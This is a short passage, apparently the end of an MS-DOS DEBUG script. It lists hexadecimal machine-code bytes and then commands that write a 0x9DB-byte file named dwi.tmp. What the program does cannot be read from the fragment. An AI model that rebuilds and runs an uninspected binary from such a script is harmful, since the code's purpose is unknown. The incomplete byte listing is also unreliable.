93 3B 4F 08 75 16 8B 5F 02 93 8B 5F 02 db EB B6 3D 06 00 75 06 3B C3 8B CC EB 05 3B C3 B9 rcx 9db n dwi.tmp w q ===========================================================================